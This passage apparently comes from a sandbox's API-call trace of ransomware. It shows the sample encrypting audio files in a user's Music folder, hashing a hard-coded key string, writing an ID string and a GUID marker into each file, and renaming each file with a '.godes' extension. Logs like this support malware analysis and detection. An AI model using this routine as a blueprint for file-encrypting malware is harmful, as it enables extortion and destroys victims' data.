lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.205] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.205] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.205] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.205] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.205] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.205] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.205] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.205] CloseHandle (hObject=0x624) returned 1 [0114.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0114.206] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0114.206] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4f8 | out: hHeap=0x660000) returned 1 [0114.206] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iCs-vS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\ics-vs.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iCs-vS.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\ics-vs.wav.godes")) returned 1 [0114.207] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.207] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.208] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.208] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x341ee070, ftCreationTime.dwHighDateTime=0x1d4c53e, ftLastAccessTime.dwLowDateTime=0x78d14630, ftLastAccessTime.dwHighDateTime=0x1d4d165, ftLastWriteTime.dwLowDateTime=0x78d14630, ftLastWriteTime.dwHighDateTime=0x1d4d165, nFileSizeHigh=0x0, nFileSizeLow=0x177a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iKO7d8t_cC0UV.mp3", cAlternateFileName="IKO7D8~1.MP3")) returned 1 [0114.208] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.208] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0114.208] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.208] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iKO7d8t_cC0UV.mp3") returned=".mp3" [0114.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iKO7d8t_cC0UV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\iko7d8t_cc0uv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.209] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=96168) returned 1 [0114.209] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.211] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17782, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.211] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.212] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.212] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.212] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.212] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x177a8, lpOverlapped=0x0) returned 1 [0114.213] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.213] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.213] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.213] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.213] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.214] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.214] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.214] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.214] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.214] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.214] GetLastError () returned 0x0 [0114.214] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.214] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.214] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.214] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x177b0) returned 0x3321120 [0114.215] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.215] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.215] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x177a3, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x177a3, lpOverlapped=0x0) returned 1 [0114.215] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.215] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x177a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.215] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.215] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.215] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.215] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.215] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.215] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.216] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.216] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.216] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.216] CloseHandle (hObject=0x624) returned 1 [0114.217] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.217] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.217] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.217] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iKO7d8t_cC0UV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\iko7d8t_cc0uv.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iKO7d8t_cC0UV.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\iko7d8t_cc0uv.mp3.godes")) returned 1 [0114.218] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.218] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.219] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.219] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4683f790, ftCreationTime.dwHighDateTime=0x1d4ccce, ftLastAccessTime.dwLowDateTime=0x8a8117d0, ftLastAccessTime.dwHighDateTime=0x1d4d236, ftLastWriteTime.dwLowDateTime=0x8a8117d0, ftLastWriteTime.dwHighDateTime=0x1d4d236, nFileSizeHigh=0x0, nFileSizeLow=0x156f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IthrlB_pUrgCwH3pRgGO.m4a", cAlternateFileName="ITHRLB~1.M4A")) returned 1 [0114.219] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.219] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.219] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.219] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\IthrlB_pUrgCwH3pRgGO.m4a") returned=".m4a" [0114.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\IthrlB_pUrgCwH3pRgGO.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\ithrlb_purgcwh3prggo.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.220] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=87795) returned 1 [0114.220] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.221] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x156cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.221] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.223] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.223] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.223] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.223] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x156f3, lpOverlapped=0x0) returned 1 [0114.224] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.224] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.224] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.224] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.224] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.224] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.224] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.225] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.225] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.225] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.225] GetLastError () returned 0x0 [0114.225] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.225] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.225] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.225] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x156f0) returned 0x3321120 [0114.225] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.225] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.225] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x156ee, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x156ee, lpOverlapped=0x0) returned 1 [0114.226] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.226] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x156f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.226] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.226] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.226] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.226] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.226] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.226] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.226] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.226] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.226] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.226] CloseHandle (hObject=0x624) returned 1 [0114.227] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31c4458 [0114.227] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0114.227] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31c4458 | out: hHeap=0x660000) returned 1 [0114.227] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\IthrlB_pUrgCwH3pRgGO.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\ithrlb_purgcwh3prggo.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\IthrlB_pUrgCwH3pRgGO.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\ithrlb_purgcwh3prggo.m4a.godes")) returned 1 [0114.228] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.228] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.229] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.229] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b077df0, ftCreationTime.dwHighDateTime=0x1d4d1ca, ftLastAccessTime.dwLowDateTime=0xdc7a7450, ftLastAccessTime.dwHighDateTime=0x1d4cf6b, ftLastWriteTime.dwLowDateTime=0xdc7a7450, ftLastWriteTime.dwHighDateTime=0x1d4cf6b, nFileSizeHigh=0x0, nFileSizeLow=0x5d13, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iWxzhwPIqb5mZjuvcv.mp3", cAlternateFileName="IWXZHW~1.MP3")) returned 1 [0114.229] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.229] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.229] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.229] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iWxzhwPIqb5mZjuvcv.mp3") returned=".mp3" [0114.229] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iWxzhwPIqb5mZjuvcv.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\iwxzhwpiqb5mzjuvcv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.230] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=23827) returned 1 [0114.230] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.232] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5ced, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.232] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.233] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.233] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.233] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.233] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x5d13, lpOverlapped=0x0) returned 1 [0114.234] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.234] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.234] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.234] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.234] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.235] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.235] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.235] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.235] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.235] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.235] GetLastError () returned 0x0 [0114.235] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.235] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.235] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.235] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x5d10) returned 0x3321120 [0114.235] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.235] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.235] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x5d0e, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x5d0e, lpOverlapped=0x0) returned 1 [0114.236] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.236] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5d13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.236] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.236] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.236] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.236] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.236] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.236] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.236] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.236] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.236] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.236] CloseHandle (hObject=0x624) returned 1 [0114.237] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31c4458 [0114.237] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.237] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31c4458 | out: hHeap=0x660000) returned 1 [0114.237] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iWxzhwPIqb5mZjuvcv.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\iwxzhwpiqb5mzjuvcv.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\iWxzhwPIqb5mZjuvcv.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\iwxzhwpiqb5mzjuvcv.mp3.godes")) returned 1 [0114.237] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.237] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.238] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) 